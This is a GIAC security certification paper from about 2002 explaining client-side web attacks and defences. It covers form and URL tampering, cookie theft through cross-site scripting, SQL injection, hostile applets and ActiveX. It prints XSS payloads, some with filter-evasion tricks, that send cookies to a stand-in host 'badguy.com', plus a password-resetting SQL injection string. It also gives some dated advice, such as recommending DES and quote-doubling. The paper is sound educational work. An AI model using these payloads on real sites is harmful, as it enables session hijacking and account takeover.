Global Information Assurance Certification Paper

Bill Sterns

GSEC Practical v1.4b Option #1

Exploring Client-side Web Exploits

Abstract

The relentless progression of technology has opened up wonderful new ways to experience the Internet. Gone are the days of 2400-baud modems (for most people, anyway); broadband access is increasingly becoming the norm. Gone are the days when you had to rely on either Lynx or Mosaic to surf the web; the browser choices today are many and varied. Also gone are many of the severe limitations that web authors have had to deal with over the years; new W3C standards and additional browser-dependent technologies have greatly expanded the possibilities of web interaction for both developers and surfers. Pages with rich dynamic content and heavy client/server interaction have replaced the static web pages of the past.

While all of these developments have incredible benefits, there is unfortunately a dark side to all of this. While the newest web technology gives developers and surfers much more power than they ever had before, the same can also be said as far as attackers are concerned. With today's technology, attackers have available to them a veritable cornucopia of ways to cause problems. With the right combination of insecure browsers, vulnerable servers, and unsafe coding practices, the malicious user can wreak all sorts of havoc on individuals and corporations alike. If you or the developers of your favorite website are not careful, the attacker can see where you've been surfing. He or she can steal your personal information, or simply assume your identity and perform transactions as you. Because a thorough discussion of all the ways to attack web servers and web clients would easily fill a book, this paper will concentrate on just one of the avenues of attack: client-side web vulnerabilities. These attacks can be placed into two categories, which will both be discussed: Client-side attacks against web servers such as form manipulation and SQL injection, and client-side attacks against other client-side users such as cookie attacks and malicious ActiveX controls. This paper will show you how malicious users might attack your pages and how to prevent your pages from being attacked. It will also show you how to protect yourself should you happen to run across a vulnerable page while surfing the web.

Form Manipulation

When a user visits a website with a browser, it would appear to them that they are viewing the page as it currently exists in the remote location that they are connecting to. Since the page resides on a remote server that they have no control over, it would appear to a casual observer that any web pages they visit are basically read-only. However, in actuality, every page that a user visits is stored locally in their browser cache, and this local copy can be changed however the user sees fit.

The save-and-reload technique

One technique a user can use to modify page contents is quite simple. A user can go to a website, click File->Save As to save the page locally, load up the local copy of the page in a text editor, modify the fields, and reload the modified page in his browser. The user can then submit the form just like if he or she was actually on the original page. With this technique, it's pretty easy to remove any client-side restrictions or validation that the author might have put in place.

The File->Open technique

The File->Open technique can also be used quite effectively to get around any client-side restrictions a web developer has placed on a form. For example, consider the following input tag on an online form:

```
<input name="myfield" maxlength="10">
```

If you load up the page with this tag in a web browser, you will be prevented from entering more than ten characters into it (assuming your web browser supports this capability). However, JavaScript gives you full control over the values of all input fields on the current active page. Because of this, any field values can be changed on the fly while you're viewing a page. (There's another name for this technique: Dynamic HTML). The following code demonstrates how this can be done. Just click on File->Open in IE or File->"Open Page" in Netscape while viewing the page and type in the following URL:

```
javascript:document.formname.myfield.value="this is a
really really really really long value that should not be
allowed";void(0);
```

(Note: `void(0)` prevents the browser from leaving the current page)

After typing in this URL and clicking OK (or Open), the value of the input field will be replaced with the extra-long value. This is possible because the maxlength attribute in the example tag does not necessarily keep the input field from having more than ten characters in it; it only prevents a user from physically typing more than ten characters into it.

Disabling client-side form validation

Any client-side form validation can be disabled with minimal effort. If an onsubmit event handler for a form calls a function doOnSubmit(), for instance, a malicious user can simply change the onsubmit handler to call nothing or overload the doOnSubmit() function with a version that does nothing.

Because of this, you should never rely solely on client-side form validation to validate user input. If you decide to implement client-side validation, such as

code to pop up an alert box if a required field is empty, make sure you also have code to handle this on the server side.

URL manipulation

Another way to manipulate the contents of a form is through the manipulation of the URL generated by the form. If your form makes a GET request to pass its field values to the server, a URL is built with the name/value pairs of all input fields in the form and this URL is sent to the server. A malicious user can create their own URL and easily set values that could not have been generated by the form. For example, consider the following URL generated by an online shopping cart:

```
http://www.victim.com/order.cgi?item=1001&price=49.99&qty=1
```

Without proper price checking on the server, our malicious user can give himself a substantial discount by simply going to the following URL:
`http://www.victim.com/order.cgi?item=1001&price=0.49&qty=1`

How to protect your code

If the developer of a website relies on client-side code on a page to verify things such as the size or contents of a field value, this could cause problems on the server-side code that parses these values. If a field value is larger than expected, this can lead to buffer overflows on the server, assuming they are using a vulnerable programming language.

This kind of form field manipulation can also be damaging if the author of the web pages uses hidden fields to pass state information between pages. In this case, a user could easily change the values of hidden fields and submit the form. By changing these fields, depending on how the fields are used, the user can do any number of things such as changing the price of an item on an online shopping cart or changing their access level on the server.

There are several methods that can be used to protect against this kind of manipulation. First, consider using a POST method instead of a GET whenever you create an online form. By doing a POST, you can prevent URL manipulation, which will make the form submittal a bit harder to fake and will prevent the values from being stored in web server or proxy server logs. As stated previously, never rely on client-side validation. Validate all fields on the server. If the data in a hidden field is expected to be constant during the user's session, you can encrypt the field contents on the server before passing it to the client. [1] This will hinder attempts to change the data since the user will have to replace the field value with a new encrypted value, which would prove very difficult. Finally, if the field is a normal input field, different types of server-side checking could be done depending on what type of fields are on the page. For a normal text field, always have server-side code that validates the length and content of the field's value. For instance, if the field should only contain alphanumeric characters, reject the

value if it does not. For select boxes, you could compare the value returned to the server against a list of known good values and throw an error if the value is not found.

A final thing to remember is that two pairs of eyes are better than one; code reviews are a critical part of any secure software development process. With so many avenues of attack, it is very important to always have someone else look over your filtering methods to make sure you haven't missed anything.

Cookie Attacks

Manipulation of active cookies

Many websites use cookies to store information about users that visit their pages. Since HTTP itself does not hold state information, cookies are very important tools that allow user information and other data to be stored. There are two types of cookies; persistent cookies, which are stored on a user's hard drive for later retrieval, and non-persistent cookies, which are stored in memory and are deleted when the user's browser closes or his session expires.

Since persistent cookies are basically just text files on a user's computer, they can easily be modified. Even non-persistent cookies can be modified either through the use of a tool that can modify active memory contents [1] or by using the File->Open technique. If you use cookies in your web application and you want to be sure that the data in your cookies cannot be tampered with, a good thing to do would be to encrypt their content. If the information stored in the cookie is encrypted before being saved on the user's computer and then decrypted on the server when the information is needed later, it would be very difficult for a malicious user to change its contents. The user would have to be able to take a new cookie value and encrypt it using the same algorithm and key that the server-side decryption would be using to decrypt the value. Without the encryption/decryption algorithms readily available, as well as the secret key used by the algorithm, this would prove quite challenging for an attacker.

If you decide to use this technique, it would be a good idea to use one of the current well-known symmetric (single-key) cryptographic algorithms that are out there, such as DES (Data Encryption Standard), Blowfish, or AES (Advanced Encryption Standard). These algorithms are well tested and will provide a reasonable level of security. Bad encryption can be worse than no encryption because it provides a false sense of security.

Cross-site scripting

Many sites use cookies to store information about the state of a user's login session. If a malicious user intercepts a user's cookie, the user's session can potentially be hijacked and the malicious user can perform transactions as his victim. The attacker simply needs to find a way to get the victim's cookie to his own machine. This can be done through cross-site scripting, which is one of the most popular means of stealing personal cookie information. One popular

cross-site scripting technique is to insert JavaScript into a page such as a message board system. In such a system, information typed into a text box and submitted is then returned verbatim onto the page for other users of the message board to view.

Consider the following HTML that an attacker might submit to a message board:

```
<img name=”myimg” src=”image1.gif”>
<script>
     document.myimg.src =
”http://www.badguy.com/bad.cgi?cookie=”+document.cookie;
</script>
```

When any future user logs onto the message board, the JavaScript between the script tags is executed. The contents of the user's active cookies for the message board are concatenated to the end of the image source address and the URL is requested from www.badguy.com. If the owner of this web server is logging incoming HTTP requests, this URL will appear in his server CGI logs. Once the attacker gets the cookie string from his logs, he or she needs only place the cookie into his own cookie file in order to access the victim's account. [1]

To prevent this kind of attack, sites can either put filters on HTML user input or disallow HTML input entirely. If you can prevent JavaScript code from appearing on the resulting page, you can prevent these attacks from occurring. However, there are many tricks that can be used to evade these filters. Consider the following HTML:

```
<img name="myimg"
src="javascript:document.myimg.src='http://www.badguy.com/b
ad.cgi?cookie='+document.cookie">
```

If your filter was looking for the string “<script>” to indicate JavaScript code, this would have slipped right past it. For a more obfuscated approach, consider this HTML [3]:

```
<img name="myimg" src="j
ava
scri
pt:document.myimg.src='http://www.badguy.com/bad.cgi?cookie
='+document.cookie">
```

and this:

```
<img name="myimg"
src="javascript:eval('document.myimg.src=\'http://www.badgu
y.com/bad.cgi?cookie=\'+' + 'doc' + 'ume' + 'nt.coo' +
'kie')">
```

If your filter was looking for "javascript:" to indicate JavaScript code, the first code sample would have slipped past it. If it was looking for "document.cookie" to indicate a cookie, the second code sample would have slipped past it as well. Strange and convoluted as they are, these both contain valid JavaScript and HTML. Basically, when it comes to cross-site scripting, be aware that there are many ways to get around filters you might put in place. If you decide to let HTML content pass through, be extra careful what you decide to allow. If you are very concerned about this, you might simply not let any HTML be rendered at all.

SQL Injection

SQL injection is one of the most potentially damaging vulnerabilities that developers face. If the values passed to a web server from a web form are inserted into a SQL statement without proper validation, a user can potentially execute remote programs, obtain information from the database, or even change the password of any user on the database.

Let's say you have a login page in your web application and that when the user submits the form, the following SQL statement is run to get the user's password (to check against what has been entered):

```
"SELECT password FROM users WHERE username='" &
request(username) & "';"
```

If the username were "bob", for instance, the following SQL statement would be executed:

```
SELECT password FROM users WHERE username='bob';
```

This is perfectly fine. However, if we replace "`bob`" with the string "`bob'; UPDATE users SET password='newpass' WHERE username='bob`", we would end up executing the statement:

```
SELECT password FROM users WHERE username='bob'; UPDATE
users SET password='newpass' WHERE username='bob';
```

In the above example, note the absence of a trailing single-quote at the end of the string that was substituted. We want to leave this off since the server-side code will already insert this into the SQL statement. We could alternately end the string with `--` (dash dash), which would cause the SQL server to treat the rest of the statement (the trailing quote) as a comment [5]. Bob's account is now compromised, and the attacker is free to log into the system and perform actions under his account.

Using SQL injection, an attacker could insert any SQL statement that he or she desires. With a little knowledge of the underlying database, an attacker could wreak havoc on the database and cause extensive destruction of data.

With the right string, the attacker can also execute remote programs on the server computer. If the database server is running MS SQL Server, the command “exec master..xp_cmdshell <executable name>” will run the given executable program. The default installation of MS SQL Server runs as SYSTEM, which is equivalent to Administrator access in Windows [5]. With this level of access to the system, it’s easy to imagine the damage that can be done by a malicious user.

SQLSecurity.com [2] has several recommendations for avoiding this type of attack. One of the most important things to do is to not run your SQL server as a user with administrator-level privilege. Running as a normal user will take some extra work with setting and maintaining database object permissions, but it will be much more secure in the long run. Also, a good way to reduce your web application’s susceptibility to this attack is to follow the same guidelines as you would to prevent a form manipulation attack. Verify all data that is sent to the server via form elements to make sure it does not contain malicious code. In addition to the normal alphanumeric checks, another recommendation would be to replace all single quotes in the string with two single quotes. This will cause SQL to treat any quotes as literal quotes rather than end-of-value indicators.

Java Applets

Java Applets allow the user to execute programs written in Java from within a Java-capable web browser. They make it possible for a website to go beyond the limits of DHTML and provide rich content within an encapsulated object on a page. All Java Applets are downloaded and executed by the web browser, but they are executed under a set of rules that are meant to keep them from accessing private data. If there are no holes in the browser's implementation of these rules, Java Applets are very secure. Unfortunately, there have been many security holes found in the Java implementations of both Netscape and Internet Explorer, which have made it possible for hostile applets to perform tasks they should not be able to do.

An illustration of these kinds of hostile applets can be found on Mark LaDue's Hostile Applets page [14]. He has written applets that perform Denial of Service attacks, send out private information, kill other applets, and many other malicious acts.

The best way to avoid becoming the victim of a hostile Java applet would be to make sure that no applets can perform any hostile actions. This can be done by simply making sure you have the latest patches and upgrades for your browser of choice. Of course, since there might be undiscovered Java vulnerabilities out there, the only way to be truly secure would be to disable Java completely. This can be easily done in both Netscape and IE.

ActiveX controls

Microsoft designed ActiveX as a way of distributing software through the Internet. ActiveX controls are similar to Java applets; they can both be thought of

as encapsulated programs that allow the user to perform tasks and interact with the browser in ways above and beyond what can be accomplished with pure HTML and JavaScript.

A significant difference between the two, however, involves the security models that the two implementations follow. While unsigned Java applets provide security by not allowing users to perform unsafe tasks, ActiveX provides no such restrictions. ActiveX attempts to provide security through assuring the user that the control is safe to run. The author of an ActiveX control can get their control digitally signed and certified through a certifying authority such as Verisign. In order to get their control certified the author is required to pledge that the software is free from virii or other malicious components [4].

The ActiveX security model relies on the user to determine whether the control is safe to be installed. If a control is not certified, a warning message will appear on the user's browser letting them know that installing the control might not be safe. If the user does not agree to the installation, they can cancel it, and nothing will be installed. However, this is the main flaw of ActiveX; a user that does not heed (or simply does not understand) the warnings will find themselves vulnerable to whatever malicious code the control might contain.

A popular example of a malicious ActiveX control is the Exploder Control written by Fred McLain [8]. Upon installation, Exploder proceeds to shut down Windows and then attempts to power down the user's computer. Unlike other random malicious ActiveX controls out there, the alarming feature of Exploder is that Verisign digitally certified it prior to its release. While it's true that upon discovery of this control, Microsoft and Verisign jointly revoked Fred McLain's certified digital signature [4], it begs the question of how many other certified controls that contain malicious code might have slipped through the cracks, such as code that might execute a malicious payload on some date in the future.

Exploder demonstrates that accepting the installation of an ActiveX control can be a dangerous proposition, even if it has been signed. If a user installs an ActiveX control on their computer, the control has free rein over anything that a Windows program running on the system would have access to [8]. While Exploder did contain malicious code, it could have been much worse. It could have done something catastrophic such as formatting the hard drive or wiping the registry, or something subtle such as sending personal information over the Internet or even modifying Internet Explorer to disable the code authentication engine [4]. An attack that is subtle enough may never be discovered.

The most effective way of preventing malicious ActiveX controls from damaging your system would be to simply disable ActiveX controls completely. You can do this by choosing the "High Security" setting in IE. Another option would be to have the browser prompt you before accepting any ActiveX controls. Choosing "Medium Security" can do this for you. If you choose this option, make sure to look at all ActiveX prompts carefully, and then carefully record all pertinent information to hardcopy. If you instead decide to store this information on your computer, the control could potentially wipe out the information [4]. Choosing "Low Security" will cause IE to allow any ActiveX control to run, signed or unsigned, which is obviously not a good thing and is not recommended.

General options for surfing the web safely

Disable potentially insecure features of your browser

The most effective way to protect your browser from falling victim to a security vulnerability is to remove the avenue of attack. While disabling a newer technology such as ActiveX would cause some pages to not function correctly, you would most likely be able to visit most pages without any issues.

Disabling an older technology such as JavaScript would be a more painful task. Although this would protect you from a great deal of the vulnerabilities that are out there, this is becoming less of a viable option as more websites rely on JavaScript to be active in order to be fully functional, or even functional at all. If you require the lowest possible level of risk while browsing the web, however, this is option to definitely consider.

Use a browser that doesn't support the features you're concerned about

It stands to reason that if you visit a web page that has a malicious ActiveX control in it, it won't affect you at all if your browser doesn't know what an ActiveX control is. Also, less advanced browsers such as Lynx or Mosaic do not support a lot of the newer JavaScript features that make a lot of these attacks possible (if they even support JavaScript at all). Of course, using an obsolete browser will make a large percentage of the web unusable, so keep in mind that this would not be an option for most people.

Keep your browser up-to-date with the latest security patches

Inherent security weaknesses in the web browser can also lead to a wide variety of attacks on unpatched systems. The Cuartango Hole [7], an Internet Explorer vulnerability which allows a malicious page to automatically transfer any file from a user's computer to it's own server, is just one example of the hundreds of known security holes that have been discovered. With more vulnerabilities being discovered every day, an up-to-date browser is an extremely important part of a secure system. For a sobering look at just how many vulnerabilities are out there, pages such as Georgi Guninski's IE exploit page [12] provide a great deal of useful information.

For Netscape: Make sure you're always running the latest version, and periodically visit the Netscape Security Center [9] for information on the latest security vulnerabilities affecting Netscape browsers.

For IE: Visit Microsoft Windows Update by clicking on Tools->Windows Update within IE or by visiting http://windowsupdate.microsoft.com to update your browser with the latest security patches. You can also download the Windows Update Notifier to have your computer either notify you when a new patch is

available or simply do the update automatically (assuming you trust Microsoft enough to allow this connection through your firewall, of course).

Know where to find the advanced security settings of your browser of choice and know what they do.

A detailed explanation of the security settings in Netscape and IE is beyond the scope of this paper, but there are some excellent references available online. TheGuardianAngel.com has a comprehensive list of recommended IE security settings for the paranoid browser [10]. Techtv also has a list of IE settings with privacy in mind [11]. On the Netscape side, there are some good pages out there that document the security settings in more detail than the provided documentation. The Netscape Security Manager page is a good starting point; it details the many new settings available in Netscape 6.x+ browsers [13].

Avoid promiscuous browsing

Finally, as CERT recommends, avoid promiscuous browsing [6]. Keep aware of which site you are currently looking at. Know that with JavaScript enabled, the URL for a hyperlink that shows up in the status bar can be set to any string, and is not necessarily the actual URL of the link. Similarly, the URL in the address bar is not necessarily the address of the page you are currently looking at. The page at that address could simply contain a single large frameset that takes up the entire browser area, and the content of the frame could be from a completely different website.

Also, typing the address of a page directly into the browser is usually safer than clicking on a hyperlink; this will assure that no extra information is sent in the link to the page via GET parameters. For instance, a lot of spam email messages include a link to a website, presumably for you to get more information about the item being advertised. The program that generated the email message could have included your email address as an extra parameter on this link. If you click on this link, you've just notified the spammer that your email address is valid. Of course, the program could have also stuck your email address as a parameter on an inline image loaded from their server, which would allow them to harvest your email address without you even having to click on anything. But you might as well do what you can.

Conclusion

While the thought of information thieves, page rewriters, and bad ActiveX controls might cause a person to ponder switching to a web-free existence and for companies to resort to paper-based systems, these extreme changes are not required. With a bit of caution, a bit of research, and a bit of work, all of the issues that have been brought forth in this paper can be dealt with. The web promises to bring us newer and more incredible technologies in the future, and

realizing that these new advanced features are often accompanied by new advanced exploits will keep the developers of the future busier (and hopefully more security conscious) than ever before.

References:

[1] OWASP. “Application Security Attack Components project”. URL: http://www.owasp.org/asac/index.shtml (2 Sep 2002).

[2] SQLSecurity.com. "SQL Injection FAQ". URL: http://www.sqlsecurity.com/faq-inj.asp (15 Sep 2002).

[3] D-Krypt. “Web Application Security Survey”. 29 Aug 2002. URL: http://online.securityfocus.com/archive/1/79447 (3 Sep 2002).

[4] Stein, Lincoln and Stewart, John. “The WWW Security FAQ”. Version 3.1.2; 4 Feb 2002. URL: http://www.w3.org/Security/faq/ (3 Sep 2002).

[5] SecuriTeam. “SQL Injection Walkthrough”. 26 May 2002. URL: http://www.securiteam.com/securityreviews/5DP0N1P76E.html (8 Sep 2002).

[6] CERT. “CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests”. 3 Feb 2002. URL: http://www.cert.org/advisories/CA-2000-02.html (8 Sep 2002).

[7] “The Cuartango Hole and it’s Successors”. 30 Dec 1998. URL: http://www.cs.washington.edu/lab/sw/browsers/cuartango.shtml (8 Sep 2002).

[8] McLain, Fred. “The Exploder Control Frequently Asked Questions”. 7 Feb 1997. URL: http://www.halcyon.com/mclain/ActiveX/Exploder/FAQ.htm (10 Sep 2002).

[9] Netscape. “Netscape Security Center”. URL: http://wp.netscape.com/security/index.html (10 Sep 2002).

[10] TheGuardianAngel.com. “Browser Security Tutorials – Internet Explorer Settings Summary”. 1 Dec 2001. URL: http://www.theguardianangel.com/tutorials/browser_security_tutorials_summary.htm (12 Sep 2002).

[11] Techtv. “Internet Explorer Security Settings for Better Privacy”. URL: http://www.techtv.com/callforhelp/interact/jump/0,24331,3388380,00.html (12 Sep 2002).

[12] Guninski, Georgi. “Internet Explorer security - Georgi Guninski Security Research”. URL: http://www.guninski.com/browsers.html (12 Sep 2002).

[13] Netscape. “How do I use the Netscape 6 Security Managers?”. URL: http://www.netscape.co.uk/help/faqs/security/ns6secman.htm (12 Sep 2002).

[14] LaDue, Mark. "Hostile Applets Home Page". URL: http://www.cigital.com/hostile-applets/index.html (15 Sep 2002).